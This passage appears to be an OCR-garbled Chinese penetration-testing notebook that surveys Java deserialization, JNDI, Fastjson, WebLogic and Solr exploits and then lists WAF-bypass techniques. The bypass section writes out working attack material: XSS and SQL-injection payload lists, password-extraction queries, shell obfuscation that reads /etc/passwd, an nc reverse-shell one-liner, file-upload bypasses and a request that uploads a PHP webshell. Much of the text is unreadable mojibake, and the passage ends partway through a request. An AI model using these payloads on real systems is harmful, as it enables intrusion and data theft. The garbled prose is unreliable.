bind_address = ¥ & 40.0.0.0 U 7£7E R FAL;
B8 hnvg 047 v e B Ay

exp:

https://github.com/vulhub/vulhub/blob/master/couchdb/CVE-2017-12636/exp.py

Ldap
i T Eldap admin& 3£ B0 7]

77 0 15 it -

https://www.cnblogs.com/mrhonest/p/10948657.html - -2

https://blog.csdn.net/u@11607971/article/details/86378361  --EH 7k

R B4 -

https://github.com/flveT/VulScan/find/master --Vulscan

https://github.com/ysrc/xunfeng/tree/master/vulscan/vuldb --vuldb

2.2.2.2 JBOSSk #ALi I

Jboss K FEAL

vulhub¥®iFF & FTAE B, 5 RSB : vulhub-jboss-cve-2017-7504
V7 i11 80803 H o 5 % i sk vl HE

linux-kali-exp



git clone https://github.com/joaomatosf/jexboss
cd jexboss
python jexboss py

dayu@kali: ~ 80x53

Examples: [for more options, type python jexboss.py -h]

For simple usage, you must provide the host name or IP address you
want to test [-host or -u]:

For Java Deserialization Vulnerabilities in HTTP POST parameters.
This will ask for an IP address and port to try to get a reverse shell:

For Java Deserialization Vulnerabilitilies in a custom HTTP parameter and
to send a custom command to be executed on the exploited server:

TRwv h q;‘-"qlqg,[:sdn,r|erf'uu_fi4tﬁl)‘l 745

python3 jexboss.py IP+port

PAT TRESKKEN—THE, ARFERSERLER: VULNERABLE(S ZHEK), LTAMSRERIES 2R BEHM &, #
fTHIA

RIGILFEYES, BLATLAIRSshell T

2z

B

1 Fl ProcessBuilder




ProcessBuilder pb=new ProcessBuilder(cmd);
pb.start();

1 FdRuntime
Runtime.getRuntime().exec(cmd)

Wt R Y L EemdSHEMEBR T, HFEEGSPITHRIEE. ERERER, TRERRKKLETBER S javadr & HAT KRR,
T RwindowsiERINWIRE T, A |, <, >FEFSHHIRINEEFRIT. FIUSRBMHNREEEZXHNRA

=5
ix B R H# T R java. lang, Runtime#texeclI & 77, execliiE 77 vEA LAF JUMHE I, H SR IB 5 N B IRA TR AT BAX
SET, —ARMBYE String command, WEEBEBEEN—ANFERE, BH—ARMBIE String cmdarrayu], HELREAN—AEEH

= EA1ERuntime.getRuntime{}.exec{} FIJ&Z 5£bx Lt 2 ProcessBuilder
getRuntime{}.exec{} i1 BH /5 N 745 #2433 String Tokenizerf 4%, #HMBIF L EAEERANER

https://codewhitesec.blogspot.com/2015/03/sh-or-getting-shell-environment-from.html

TRAH TR T X R SR U
zé\%:

HsLjavaB & REHE ar S HAT L E R, JOKYEHH&#AT checkExec, AT fir & BIHLH LR (LU & I P AT iy & H L
HIZE—A>, T BaAT)E B TR R BRI ARHITEF KIS, Fril getRuntime().exec() i3 1 N F4F 8§ 44T iy < I 1%,
RLiZREBRBHERZR, AT ERTRSIRXFGLAGEERENER

FrbAfEJava F B R E 4 M7, HSB R TR, HRAE—ALE R LA 1E, 8 3UF Fbase64 M 4w ig 75
3, windows T 7] LAf# A powershllffibase64

Javalt) = 7 FIALHEZE R FHHE SR yso, DA K —EshiroiX 2 & 7 514k 5 BB Ay 23T 52 Br B 1R £ 2 F T getRuntimeSki& 2 iy & AT HI
B, HBGRIMNEERE, TEALBRKESE, PITEXAGLSSHABITAT

Reference

sh-or-getting-shell-environment-from

2.2.3.2 Shirojz ¢ 54 id %
IR RS

https://cloud.tencent.com/developer/article/1078421

https://blog.knownsec.com/2016/08/apache-shiro-java/

Reference

Pwn a CTF Platform with Java JRMP Gadget

https://blog.orange.tw/2018/03/pwn-ctf-platform-with-java-jrmp-gadget.html
https://open.appscan.io/article-862.html
https://www.jianshu.com/p/f10ad968elb2

2% P FR“% E— Shiro1.2.4(SHROB50)IR R 2 & it F %

RO R, WEEDE

Apache Shiro Java % ¥ 5 {3 2t



https://blog.knownsec.com/2016/08/apache-shiro-java/
https://bacde.me/post/Apache-Shiro-Deserialize-Vulnerability/

2.2.3.3 RMI-}x ¥ 54k

2%
RME J5 3C#

https://xz.aliyun.com/t/4711#toc-3 ---REZEKIAVARFFILAI]
javaZ&Eik-04RMES (1)  ----WREF A LiFdayu R E
javaZ &i8ike4.RMES (2)  --%IRE| (2) ....

2.2.3.4 JNDEE A

2% (W, FMREX, K

://www.freebuf.com/vuls/115849.html  --IndiVEANKSpring RCEJRIFDHT
://www.veracode.com/blog/research/exploiting-jndi-injections-java --fEJavasrFFINDIVEN
://kingx.me/Restrictions-and-Bypass-of-INDI-Manipulations-RCE.html - -4{a 5% i ki A JDK I BR il 3£ 4T INDIE A FI H

://www.jianshu.com/p/2accc2840alb - - WA 45 ¥ BB 4 RRPC
://www.freebuf.com/column/189835.html  ---ZFEAHEMEINDIVEN 5Iavax 754k IKTHF H

://www.cnblogs.com/wilburxu/p/9174353.html - - LDAPAERFI R 2 48
://www.jianshu.com/p/7e4d99f6baaf  --LDAPAJ]
://blog.csdn.net/caoyujiao520/article/details/82762097 --LDAPAI]f#

2.2.3.5 fastjsoni i & Hr

=
i

Fastion2 —/~Javaif & 5 K = L REDI BE 58 B JSONEE . ERA —FRER FREILA" M H %, HEISON ParsefItERERTH 2]
W2, R HilJavaid F HRIRIIJSONE. Fastisontk O ZH, D) ZEMEZFEFFIL. HIZE. Wekit.
Android % 7 i 5 25 B 37 5%

SEEE

https://www.freebuf.com/column/207439.html - --W{a %% /& iR A IDK ) PR #133E 4T INDIVE AN

=AMastjson1.2...fiAKIpoc, FEHMELHERES! 1!

2.2.3.6 CVE-2019-11043 PHPiZ RS $h AT B I
fii A



MERFEAEFRKARSHEROELRE XER—EHL

20194E10H22H, EAZER KR AT T —MPHP-FPMZEAL AT KIIRIFIEXP
%I 2 Andrew DanaufE 5 LL SE# ik —ECTFE B I &L, 17 HARAR 55 88 URL K12 %0aFF S, AR 551 6 57t % R I H IR

20194E9H26H, PHPE 5 RAARIFE S H A et H Nginx + php-fom ) ik %23 76 5 4 it B T A 5 m FR AR HAT IR IR Bz B
B8 RZEH, EERK, BB ZHEXRTACEATT

Githubith sk 211 F

https:/github.com/neex/phuip-fpizdam

TERE, WEEHRK.JEH! 1!

2.2.3.7 java webshell A\ A [ TR BR R 5115t 55
A RH L E AR FARSN, 1E 708 A TR H R 38 & Ewebshel BN 2 At A\ B 3k
WE

ARH|, FEMwebshelZfli. webshellfjbypasstiAR (REEFE. MEE. hookmikik) . FBEKMwebshell 4t (FT A HHF
K Ba R webshell. A fEshell) 05 MK KX Fijavat webshell #I7E 3

B3]
java webshellfh 2%

DIE RIS P2, FTRECRENTINE A, EERjsp, jspx FIfsiABARE, W tomcatZaH, BRIAGEFHENTINZ)
SHACELRINEERES T

<jsp-config>
<jsp-property-group>
<url-pattern>*.jspx</url-pattern>
<url-pattern>*.jsp</url-pattern>
<scripting-invalid>true</scripting-invalid>

</Jjsp-property-group>

</jsp-config>

1E B 81 % W webshelf G ITF K, X E 5T JLK:

BFE P — A4S webshll (ELIn3ET]. dKi&. (81, cTI&EHE LE i) « L1 REEER webshell (SEEEBITRZ
H) . Tunefgl1 (T socks5Whill i reGeorgz 251D « /NS (BRA#ITaSPAT. BAMBIT U EE/ LE%ETIRE). KRS
(ERT XHERE. APIT. SIEEERESZIRERD)

javath AT ar & 5 R
FEX W RATE B EAL ) Ay & HAT BRI, 0T F 22 707 35 BATHI 52 51 472 $UAT Hiwebshell

fEjavat, W ILHIRER AT A& B 77 K



javaZL it iwebshelldy £ #1047 77 =

f# /il java runtime exec()

F—FE WK, H javalang.Runtime KBTHAT REG W4, ZHEHME Bl L SFESER webshell #Bh T EE EITH
MER, TEEBMRwin FHlinux FEX XN, UELFEHZA M0SEHEGFHAER. TARINKEERB. £/ Runtime
%, A execth T4 iR Bl —/ ProcessXt % SR 5 J§ — A BufferedReaders, X}iR [B] 145 BT R Z R B AL . AT execkmt
BERERIER, WA < >EFSHGLRTEMAUTREN T NETHAT, BERRES

BHE T webshell K 43 5 7 F ML -
Java AT R G f &1 5 i A0 R B

FH ProcessBuilder %253 1 il

f#H Java [ E L g2 R

8 Java ZE L St A

3R18 Class Xt 5 [ U7 7532

https://cloud.tencent.com/developer/article/1180753  --FlfJava S MEBHLHISeEISP)E I THEM

https://javasec.org/javase/ --%4&J]

BR T Javaz 5 Al

E X

java R WK REBITRE S, X FER—AK, HEREIEXNKMHFERBEMTE;

TFEER—INER, Heg R ErERTENBEYE: XM REUE B LRSI X R ThRERR Ajavail 5 iR H L]

javal 94 K iI3K:

cassK: RRKKISLE, BT HIIavaM TR 7 R A D
Field3s: MRARRHIMAZE CRKJEM)

Method2k: R TTIE
Constructor3t: RERRMIMIESE

Class & WAL 1

1) FREUH AR 7

for Name(String className): 1R #8242 & B 2K () 5%t 5
getName(): R1FRM TR T

2) FREUE AR AR

getFields(): RBBEAB BT ZR
getDeclaredFields(): 378 FiH J& %t & (7 Declared i) 7T LAZKEX EFA A private)

3) RBHEP I

getMethods(): KRG IZETE AF R HE

getDeclaredMethod( String name, Class...<?> parameterTypes): 3K15i%HEAJ7:
getDeclaredMethods(): #K18 %K TA ik

Fedk% WAE Y

equals(Object obj): J& 5 obtH % N3 [Ftrue
get(Object obj): 3K1FobjH X} 57 i) J& A8

set(Object obj, Object value): #t B objH %} 5 J& P

Method3&



invoke(object obj, Object...args) 1£i# objectit % & 2 i F 1% %t G5t B i 7 12
Constructorzk

newlnstance(Object...initargs): RIEAEE KIS HEIEIKKIN 5

2.2.3.8 & 3t XMLdecoder (dayu-T hird day)
Oraclezk T 1XA> xmldecoderid ik K F FICVE 4w 5 437 22 CVE2017-3506. CVE2017-10271. CVE2019-2725
B B KT CVE2017-3506 /1% T R R1R#E objecthn 25 #E4T T PR

T AR 38 3C 2 A #2855 R object® e plivoid B ], ‘EA15Lbr ERAZEMK, K EHIL T CVE-2017-10271, T4FXtCVE-
2017-10271HIAN TIRE T B BB HATHI T S

{HIXRCVE-2019-2725 X B R classtiZ, classirZE il # objecthre kA Bt R, F X YRIKFA A R B & xmidecoderft) il
TiAh Tt 2 & Xt class i ke b 72 1

https://blog.csdn.net/fnmsd/article/details/89889144  --fnmsdfE# -XMLDecoder @i iifs /1t

https://www.anquanke.com/post/id/180725 ---#&ikWeblogicxFF{k—XMLDecoderH]&eit s

REBEX, FEmA! 11!

2.2.3.9 FastJson x #5145

REXELENIEEL:

http://www.lmxspace.com/2019/06/29/FastIson- K752

Reference

fastjson-remote-code-execute-poc:
https://github.com/shengqil58/fastjson-remote-code-execute-poc

Fastjson 1.2.24RF5ILIRIRS
https://www.freebuf.com/vuls/178012.html

FastjsonkFFILIRTHAT 7T«
https://www.cnblogs.com/mrchang/p/6789060.html

Fastjsonx 7%tk 2z TemplatesImplif 5
https://pOrz9.github.i0/2019/05/12/Fastjsonx/7%l4tb 2z TemplatesImplif %%/

2.2.3.10 Oracle ##8 FE & & B % 2 xmlx 7 54t
53 32 R R A

https://my.oschina.net/u/4587690/blog/4452199

http://obtruse.syfrtext.com/2018/07/oracle-privilege-escalation-via.html



2.2.3.11 Webshell5s % 2 K AT 5 2
e Iy ik B

http://www.91ri.org/8700.html

EXP#lpoc:

https://github.com/yangyangwithgnu/bypass_disablefunc_via_ld_preload

2.2.3.12 Java T I XEE¥sH

ZICEYHE T java xml T K E823 IXE E IR SR B AR5 4 -

http://www.lmxspace.com/2019/10/31/Java-XXE- 45 --HHEE

https://xz.aliyun.com/t/3372 --BZRETUEE

Reference

Java XXEyEANEE Al E Y305
https://mp.weixin.qq.com/s/bTeJYzUN9T1u-KDZON5FiQ

ERIF I, IDKAIYT—MWxJava XXEFEAIRFF RIL T — A% IDKHIRE S
https://mp.weixin.qq.com/s/bTeJYzUN9T1lu-KDZON5FiQ

XML_External_Entity_Prevention_Cheat_Sheet:
https://cheatsheetseries.owasp.org/cheatsheets/XML_External Entity Prevention_Cheat_Sheet.html#Java

— AT Z AR IXXETRIRAE RIEE T R
https://gv7.me/articles/2019/a-widely-circulated-xxe-bug-fix/

JAVATH I X XE IR 5 v A B 4 «
https://blog.spoock.com/2018/10/23/java-xxe/

2.2.3.13 Solr Velocityt #i iz #2885 & 9 & R FH 45 v

https://www.secpulse.com/archives/117281.html --VE B 1
https://www.cnblogs.com/bmjoker/p/11778478.html
https://govuln.com/topic/501/ - -PAfiRFE

2.2.3.14 Solr-RCE-via-Velocity-template

http://www.lmxspace.com/2019/11/03/Solr-RCE-via-Velocity-template/

Reference

FIntellij idea#&#EsolrifiXFFiE:
https://www.jianshu.com/p/4ceeb2c20002

http://lucene.apache.org/solr/guide/6_6/velocity-response-writer.html

2.2.3.15 java webshell A\ '] B\ SR 2 51 2-B( B %} $i 2 Bypass- L 18

1) javaR #bypass



2) RETHIHERAR, I8 45 & A A byte 7RG + R 75 A TE & TAR TR ) R St B 2 A @ AT 5

3) java J& I I-unicodeZm g

2.2.3.16 java webshell )\ '] B A\ SR 2 51 3-B( B Xt Hi 2 Bypass-+H 15
Hofh 22348 A webshell 5 T5tip

JavaWeb BEFL/E ] GZEFE T HIHD

Java URLClassLoader 235 f#kjarf webshell

openrasp (FFIERIHZATH B & IRP) Bypass

2.2.3.17 java webshell A [T B\ JR 5 51 4-B B Xt Bt 2 Bypass- T &
XK H B TR EE A AR webshelff) JF

https://xz.aliyun.com/t/6550

2.2.3.18 Javax FF ST IR 5 (dayu-fourth day)

CVE-2017-3248
CVE-2017-3248

Bl 7 22

A LA7Eresolveclassflliresovleproxyclassiéin— i 7540 F] 5 B 4 s 7

2.2.3.19 Apache SlorA %4 o B iz FE A 3T I 1 & I & jmx rmif] A 43

CVE-2019-12409

https://wemp.app/posts/008aebed-9eee-4fc4-911c-7c603c8b884arutm_source=bottom-latest-posts

P E MR | !

2.2.3.20 javafy & 4T N

http://www.baizhiedu.com/article/1029

FEABEFRMRAR, TEATLUAMR!

2.2.3.21 JDKJx ¥ %1 4t. Gadgets-7u21

TR, HEMCE! !



://www.freebuf.com/vuls/175754.html

://blue.cn/archives/176.html

://gist.github.com/frohoff/24af7913611f8406eaf3

://sec.xiaomi.com/article/41

://www.cnblogs.com/rickiyang/p/11336268.html  ---javassistffifH&@ir

2.2.3.22 Weblogic-T 3-CVE-2019-2890-Analysis

TEHEI! !

2.2.3.23 spring-boot-actuators % B i

https://www.jianshu.com/p/3162ce30a853

https://www.veracode.com/blog/research/exploiting-spring-boot-actuators

2.2.3.24 SEMCMS2.6/5 & 30 b4 i 81 3

https://www.cesafe.com/html/6190.html

https://www.yir6.cn/Web/347.html --Admin/SEMCMS_Upfile.phpfRiE 43

2.2.3.25 {4 ¥ it Z IvyecmsJa & getshell

https://www.wenwenya.com/anquan/516051.html
https://webcache.googleusercontent.com/search?q=cache:9JJuN-bvrgwl:https://www.secshi.com/22396.html+&cd=3&h1l=zh
-CN&ct=clnk&gl=hk

2.2.3.26 Log4j-Unserialize-Analysis

https://xz.aliyun.com/t/7004

https://my.oschina.net/u/4587690/blog/4452130

WETERNAE B! #EHNE T CVE-2019-17571. CVE-2017-5645

2.2.3.27 JAVAK 7 5|4k, - FastJson4 #

R, WAEEZ! L k! L IXREGEE

2.2.3.28 Spring-securiy-oauth2 (CVE-2018-1260)



https://blog.spoock.com/2018/05/13/cve-2018-1260/

NEABREINRMU, THITEE..

2.2.4 WAF-bypass (dayu-Fifth day)

— e FWAYST 75 7E,

Firewall Switch Web Application Switch Web Server

Firewall
SSL Connection Between Client and WAF SSL Between WAF and Web Server
. WAF Termirates SSL on both sides using it's owr

keys
» Self-signed and trusted certificate for internal web

sefver

i

o Normally 3™ party CA-issued certificate for web sice
for non-organizational users to maintain trust model

RELIP, i CDN
Zwaf— AT LUBIE 7 i
i#5ICDN

ping www.baidu.com

dig www.baidu.com

nslookup www.baidu.com

REFHUE K TAEREPREME

FHRAELHIP
DNS /7 sefgtric
TFHKDNSL iz, #HEJEEShosA-EIH .

http://site.ip138.com/www.baidu.com
https://dnsdb.io/zh-cn/
https://x.threatbook.cn/
http://toolbar.netcraft.com/site_report?url=

https://censys.io/ipv4?qgq=www.baidu.com

http://viewdns.info/

https://community.riskiq.com/home

https://securitytrails.com/list/apex_domain/jgbz.baidu.com



RSSHEF T, 25 WB4F IS
—RB BB EELHIPHbE, EidrssiT MR, FTLAERBT FHE S+ EEIP
BRHEEFRGHREB-LEEF (unknownoxx.xx.xxIP])fE &

k%5 2% 1 4 E K (DNSLOG)

https://www.cnblogs.com/Xy--1/p/12896599.html

R B TR 4 1 R
DNSR 5 a3 4 15 2 -

google Public DNS (8.8.8.8, 8.8.4.4)

OpenDNS (208.67.222.222, 208.67.220.220)
OpenDNS Family (208.67.222.123, 208.67.220.123)
Dyn DNS (216.146.35.35, 216.146.36.36)

Comodo Secure (8.26.56.26, 8.20.247.20)
UltraDNS (156.154.70.1, 156.154.71.1)
Norton ConnectSafe (199.85.126.10, 199.85.127.10)

httpsP# 2 521t
MWAFEIFIHEZE
(N z=waffair, —RENESSHEE BXiERINESIP,MM4EZ CONBGIF,

(2) 43R ZZGET. POSTREIATERAE, #HAPOSTZ4E, MZK TGETIERNAEESHEA, TR
Bypass,

(3) HTTPHIHTTPSEIR FFIARSS, RBEMHTTPEIHTTPSHIESIBSE, SEHTTPSEWARRSI,
HTTPR BB, BIZIHEHTTPIE QG

(4) 14T S %00, 8 o wafiBZI%00& T, REEREZIRIHENSE, TEAREIEENESSHE
A, MimSEBypass, tball: id=1%00and 1=2 union select 1,2,column_ name from information_
schema. columns

S https://zhuanlan.zhihu.com/p/202628255

sslin] & 523t

Fr LA Fl — MWAF A HHE 2 RS- 28 T B vk, % TLSV1 256 bits ECDHE-RSA-AES256-SHA. #t ] LA RZWAF Gk iR 5 5

curl --ciphers ECDHE-RSA-AES256-SHA https://waf-test.lab.local/ssl-cipher-test



FRBAER—IWAF AR 3215 {B 2R Z 8RB IFME %, KATLSV1 256 bits ECDHE-RSA-AES256-SHA, 5iR] IAEWAFTGEIRRI ST,

pwn@thinkpad:~$ curl --ciphers ECDHE-RSA-AES256-SHA https://waf-test.lab.local/ssl-cipher-test
<html lang=en>

<title>HELLO </title>

<p>Bypass worked</p>
pwn@thinkpad:~$

WAF R EEI T
SSLv3

SSL_RSA_WITH_NULL_MD5
SSL_RSA_WITH_NULL_SHA
SSL_RSA_WITH_RC4 128 MD5
SSL_RSA_WITH_RC4 128 SHA
SSL_RSA_WITH_DES_CBC_SHA
SSL_RSA_WITH_3DES_EDE_CBC_SHA
SSL_RSA_EXPORT_WITH_RC4 40 MD5
SSL_RSA_EXPORT_WITH DES4@_CBC_SHA
TLS/1.0-1.2

TLS_RSA_WITH _NULL_SHA256
TLS_RSA_WITH_AES_128 CBC_SHA
TLS_RSA_WITH_AES_256_CBC_SHA
TLS_RSA_EXPORT1024 WITH RC4_56_MD5
TLS_RSA_EXPORT1024 WITH RC4_56_SHA
TLS_RSA_WITH_AES_128 CBC_SHA256
TLS_RSA_WITH_AES 256 CBC_SHA256
TLS_RSA_WITH RC4 128 MD5 = { 0x000x04 }
TLS_RSA_WITH RC4 128 SHA = { 0x000x05 }

TLS_RSA_WITH_DES_CBC_SHA = { 0x000x09 }

http://xdxd.love/2018/09/10/F|FSSL ) it WAF 3L 5311/

method %3

1) #ZFmethod, getfipost, post & Lf& (E7F cookiesfE{H )
2) & method AAFEM, Hindget, postAHELLLOXX%: (Fapachehi4)
+ii-hn —7 st 0 milah44Fd -




SEUH J ALBSYGRIHT | VHD

<?php

("../sql-connections/sql-connect.php");
error_reporting(e);

$id-$_GET['id'];

($_SERVER[ 'REQUEST_METHOD']~~"GET')

{
$id-str_ireplace("sleep","",$id);

($_SERVER[ 'REQUEST_METHOD' ]=="'POST")
{
$id-$_PosST['id'];
$id=str_ireplace("sleep”,"",%id);

}

$Sq1 "

echo $sql;

echo "<br>";

$result-mysql query($sql);

$row = mysql fetch_array($result);

IF ®payload:

GET/xxx/?id=1+and+sleep(3) HTTP/1.1

Raw | Params  Hesders e Raw | Headers | Hax | HTML | Renger

GET /sq abs/pass’/ index. php?id=1+and+sloep (3 HTTP/1 1
Heo 186 .
Us. L) ws NI Wi nds [
Ge SELECT * FROM users WHERE id=1 and (3) LINIT O 1}
Acc 120 color= BFFFF You are
text/himl asgplication/shiml*xnl app ation/mml ;g=0. 9. */*.¢=0. 8 n
Accept-Language 8FC sages/Less-Y. jpg
zh~CN_ zh.q"0. 8, zh-TW.g=0. 7, zh-HK.g"0. 5, en-US;q=0. J. en g0 2
Connaction: close
Upgr ade- Insecure-Roguests |
Cache—Control = max-age=0 l
Y | % e 0 matctes AN 0 gtz
Core 964 bytes | 1,039 mims

Leidpayload:

DigApis /xxx/?id=1+and+sleep(3)HTTP/1.1

Raw | Hessers Har HTML Rencer

ey HITR/1.1 @2
0.0 Windd: x
v 0) Gecke 01C o 0
Accopt: text/hs SELECT * FROM users WHERE id=1 and sleep(3) LIMIT 0,1
Accept-Language T TOTOr="3FTTT YoUare TN
zh=CN, zh;q=0. B, 2h-TH.q50. 7, zh-HK:q%0. 5, en-US.q%0. 3. en:q0. 2 colors "8 ff* font size font

Bre mages Le



| olj> 0 matches b b |

ERFERRGTTLIRANAN, ENBARINBA.

GET/xxx/?id=1+and+sleep(3) HTTP/1.1
DigApis /xxx/?id=1+and+sleep(3)HTTP/1.1

*%

Heard IP S¢i

(—fRR A EE, JEWAF)

X-forwarded-for: 127.0.0.1
X-remote-IP: 127.0.0.1
X-originating-IP: 127.0.0.1

X-remote-addr: 127.0.0.1

x-client-1p: 127.0.0.1

Heard content-type %2t

content-type %
content-type s At K
content-typehJits EME——AKA, Hl application/ octet- stream (Hhimnz£%)
content-typeBUBAFLN Htext /htmlxxxxxx
Content-Type: multipart/form-data ; boundary=0000
: mUltiPart/ForM-dATa; boundary=0000
: multipart/form-datax; boundary=0000
: multipart/form-data, boundary=0000
: multipart/form-data boundary=0000

: multipart/whatever; boundary=0000

: multipart/; boundary=0000

application/octet-stream;

XSS

FLRHH P 8RS R



?id=alert(document[ 'cookie'])

?id=";location=1location.hash)//#0={};alert(0)

?id=%";eval(unescape(location))//#%0Aalert(0)

?id=<script<{alert(1)}/></script>

?id=<img src=x:alert(alt) onerror=eval(src) alt=0>

?id=%3cscript%3ealert(1)%3c%2fscript%3c

?id=<a href="javas&#99;ript&#35;alert(1);">

1d=%253c%2573%2563%2572%2569%2570%2574%253e%2561%256C%2565%2572%2574%2528%2531%2529%253c%2521%2573%2563%2572%256
9%2570%2574%253e

?id=<object+data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXBoOPg=="></object>

?1d=1234&"><script>alert(1)</script>=1234 HSH 4

HEAE 4B nasp. php/EinEI A g6
SENE:

https://www.cnblogs.com/lcamry/articles/5622244 . .html

SQL

] B ) DA B A PR SR A

T BORPERA | EERF | ERAS | HARER T | ME— BN R A B B
MSSQL| %2B (URLINS%4wiE) | -- | #%h5 | @@PACK_RECEIVED
MYSQL| %20 (URLZ#A&4wHS) [# / -- | f##h7m | CONNECTION_ID()
Oracle I %7C (URL™Z4mA%) | -- #5%h5 | BITAND(1,1)

PGsql | %7C (URLEZ4mtD) | -- |adl::int=1 | getpgusername()

Access | %26 (URLE55%ME) | N/A | f%F7% | msysobjects

i Gt wadZ A LA K B EEP iE N WA B Se (i Fand A o1& A

I 75 A e

HrREN:

FREFEN, RIELRAW]



?1d=123+AND+1=1

?id=123+8&8&+1=1

?id="=’

?1d=123+AND+md5( “a’)!= md5( ‘A’)

?id=123+and+len(@@version)>1

?id=1’||1="1

?1d=123“+like+'123

?id=123"+not+like+'1234

?id="aaa'<>'bbb’

?1d=123/*! union all select version() */--

?id=123/*lor*/1=1;

?id=(1)union(((((((select(1), hex(hash)from(users)))))))) - -7+ E S

?id=1+union+(select’1¢,concat(login,hash)from+users)

?id=1+%55nion(%53elect 1, 2, 3)-- -

?id=1/*1000000union*/select%0d%0a/*asdas/asd asasd*/version()

?id=1 union(select%@aall{x users}from{x ddd})

Mysql# F &8
TR AL




' OR mid(password,1,1)="%*"

' OR mid(password,1,1)=0x2a

' OR mid(password,1,1)=unhex('2a")

' OR mid(password,1,1) regexp '[*]'

' OR mid(password,1,1) like '*'

' OR mid(password,1,1) rlike '[*]'

' OR ord(mid(password,1,1))=42

' OR ascii(mid(password,1,1))=42

' OR find_in_set('2a',hex(mid(password,1,1)))=1

' OR position(@x2a in password)=1

locate(ox2a,password)=1

substring((select 'password'),1,1) = 0x70

substr((select 'password'),1,1) = 0x70

mid((select 'password'),1,1) = 0Ox70

strcmp(left('password',1), 0X69)

strcmp(left('password',1), 0x70)

strcmp(left('password',1), 0x71)

C(REFS) DR\ (RFHD g

$ echo orleven
orleven

$ echo o'r'l'e'v'e'n'’
oreven

$ /b'i'n/c'a't/e't'c/p'a's's'w'd’
: X: ©: 0: root: /root:/bin/bash
1: 1: daemon: /usr/sbin: /usr/sbin/nologin
2: 2: bin:/bin: /usr/sbin/nologin

$ /b\i\n/c\at /et'c'/pa's'swd
: X: ©: 0: root: /root: /bin/bash
1: 1: daemon: /usr/sbin: /usr/sbin/nologin
2: bin:/bin: /usr/sbin/nologin

H > 'ﬁmﬁ%ﬂ
I 5 B g R UL AT B M —— 2%




$ /b??/c?t /etc/??ss?d

: root: /root: /bin/bash

: 1: daemon: /usr/sbin: /usr/sbin/nologin

: bin:/bin: /usr/sbin/nologin

$ /?2?/n? -e /???/b??h 2130706433 1337 # /bin/nc -e /bin/bash 127.0.0.1 1337

SAHENRS

cat $u/etc$u/passwd$u
: 0: 0: root: /root: /bin/bash

: x: 1: 1: daemon: /usr/sbin: /usr/sbin/nologin

: 2: bin: /bin: /usr/sbin/nologin

mysgql:x:110:115:MySQL Serve,,,:/nonexistent:/bin/false

a.out go gobuster gopath soft sglmap.log tool

XA g
S 4 et

1) SCf44 n e 4

2) shell.php(%80-%99).jpg %iit

3) WRARALIIEE, Wi b EEREH, Bk

4) %00

5) 00(hex)

6) K4 (windows 258byte | linux 4@96byte ) , Al HIEFZRHFE, tbindh &K~
BRI RLK o

7) Efiy

A Ja 2]

Php/php3/php/php5/php6/pht/phpt/phtml

asp/cer/asa/cdx/aspx/ashx/ascx/asax

jsp/jspx/ispf

fEpTRIR

R 55 28 4R 1
1.2 ¥ RequestH FIA BEGRADHE 7 11 % £ H5
2.RequestH iR unicode & 72K AT iR 1D

s



IS6.0W /MRt Bips: HFE4L B Easp. .asa. .cerffif, W% HFETWITE CEH ¥ 1% Baspi@thr
1 a1

labc,asp/1.jpg 2 %41 /abc,asp HEATET
labc.php/1.jpg 2 %1 /abc.php #EATf#HT

Apache1.X.2.Xf#& Hr ¥ i
ApachefE A ERAH, T SCH4 77 N MG R ETRAY B4, BE2E N Apache ]R3 KH B4 M1k
Nginx

PLFNGInXE 2R HIRA T, bfE— AN Ewafm 282 W B LA Hshell. jog, #8)5 Blshellj pg.phpidt Tk

e Nginx 0.7 <= 0.7.65
e Nginx 0.8 <= 0.8.37

DL ENGInXBE2RHIRA T, bfE—ATfEwafa Rz B2 W B LA shelljpg, A5 Lhshelljpg%20.phpit 7&K

PHP CGl fi# tr & ¥

IIS 7.0/7.5
Nginx < 0.8.3

PA_E 2 28 R A b BR A php it B XU cgi fix_pathinfo=1/, bfE—MEET B4& BT R4 X MFshelljpg, 7ETE KIS LA
shell.jpg/shell.phpiE K, £¥shelljpglphpRi#tT

https://xz.aliyun.com/t/337

RAGiketk: PANTFS ADSH i

ADSRNTFSHERME R — Mk, A TNTFSHBEENR . £ LA, nRwaftf %K IE XK filenameILAEAS 24 ) 7T B &
FHLT

.asp.
.asp(ZH)

-php:1.jpg
.php: $DATA
-php_




EFER R RSB RERAR £RAXHAR

Test.php:a.jpg 4 f¥ Test.php =
Test.php::$DATA 4 i test.php <?php phpinfo();?>

Test.php::$INDEX_ALLOCA | 4 fitest.php>Cfsk

TION

Test.php::$DATA.jpg 4 5%0.jpg <?php phpinfo();?>

Test.php::$DATA\aaa.jpg 4 FXaaa.jpg <?php phpinfo();?>
SEYE,

https://xz.aliyun.com/t/1189

BRI A—B, Sidwaf GEABE AT =)
FAF RO T A2 A, HE Bt 25
AR

WebkitFormBoundaryFADasdasdasDdasd

Content-Disposition: form-data; name="file", filename=abc.php’;aaaaaaaaaaaaaaaa

Content-Type: application/octet-stream;

<?php phpinfo(); ?>
WebkitFormBoundaryFADasdasdasDdasd

X2k R g2t /Header k2K R
B M St /Headerk i) Content-Type, £ R Z1#:

Content-Type: application/x-www-form-urlencoded;

Content-Type: multipart/form-data;

Content-Type: application/octet-stream;

R AEHT BT A S



multipartthilt s, —APOSTERA LURIN LAEZ2A M. mE, HFEWAFRKRES - EEXH, BERE LKA X,

T SE B J i 2 o = AT BT _EAR SO 44, Bt R /& Epaylaod i 7E J& T I SCAFPART, BT Sgid

‘1x|2x|3x|4x|5x|3x|..|

Go Cance < > |¥

Request Response

Raw | Params | Headers | Hex Raw | Headers | Hex | HTML | Render

Target: http:11192.168.136.130 @ w

POST /dvwa/vulnerabilities/upload/ HTTE/L. L |‘
Host: 182.188.136.120

User-Agent: Mozillas5 0 (Windows NT 10 0; Winéd; xE4; rv:-E52.0) Gecko/20100101
Firefox/52.0

Acrcept: text/htnl,application/xhtnltxml, applicacion/xnl;gq=0_9,*/*;gq=0.8
Accept-Language: zh—CH,zh;q=0.8,en-US;q=0.5,en;q=0.3

Referer: http://152.1668.136.130/dvwa/valnerabilities upload/

Cookie: security=low; PHPEESEID=giSrélm73ucfudilpnblfesdud; safedog-flow-item=
Connection: close

Upgrade-Insecure-Recquests: 1

Content-Type: multipart/form-data;

boundary Z5E513059611555

Content-Length: €67

SRR D R e (s ]

CEE513059611555
Content-Disposition: form-data; name="MAX FILE_SIZE"

ooy

Z5ES5130559611555
Content-Disposition: form-data; name="uploaded"; filename="yijuhua.pha"
Content-Type: application/octet-stream

?php echo shell execif_GET['shy']);?=

Z5E5130559611555
Content-Disposition: form-data; name="uploaded"; filename="yijuhua.php]
